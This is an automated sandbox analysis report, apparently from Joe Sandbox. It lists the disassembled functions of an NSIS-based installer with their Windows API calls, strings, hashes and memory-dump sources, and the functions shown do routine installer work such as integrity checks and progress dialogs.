Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,?), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(?,0040A230), ref: 004030F0

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
soft, xrefs: 00403020
Error launching installer, xrefs: 00402F80
Null, xrefs: 00403029
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,?), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,?,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,?,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 004067B8

Strings

UXTHEME, xrefs: 0040675B
\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028DD Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GlobalAlloc.KERNEL32(?,?), ref: 00402901
CloseHandle.KERNEL32(?), ref: 00402981

Part of subcall function 0040345D: SetFilePointer.KERNEL32(00000000,00000000,00000000,0040315B,?), ref: 0040346B

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969

Part of subcall function 004031D6: SetFilePointer.KERNEL32(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

DeleteFileW.KERNEL32(?), ref: 00402995

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$Global$AllocFreePointer$AttributesCloseCreateDeleteHandle
String ID:
API String ID: 488507980-0
Opcode ID: 5d9f1b6731ba3ee9933b863f84e8f8121980e79eb03ea1cc287d750f51a4a2c2
Instruction ID: a72baa4c232b972dd9d74bdb0255e4e47dd94c062f2630ea412bfe515796ae85
Opcode Fuzzy Hash: 5d9f1b6731ba3ee9933b863f84e8f8121980e79eb03ea1cc287d750f51a4a2c2
Instruction Fuzzy Hash: 7A216DB1D00118BBCF116FA5DE48CAE7E79EF09364F10013AF5947A2E0CB794D419B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,?,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,?,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,?,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,?,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
